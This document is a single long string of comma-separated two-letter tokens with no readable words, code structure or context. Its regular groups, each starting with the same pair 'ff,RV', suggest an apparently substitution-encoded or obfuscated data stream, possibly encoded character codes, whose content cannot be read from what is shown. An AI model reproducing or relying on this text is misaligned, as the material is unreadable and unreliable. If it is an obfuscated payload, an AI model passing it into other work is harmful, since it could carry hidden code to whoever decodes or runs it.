T,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX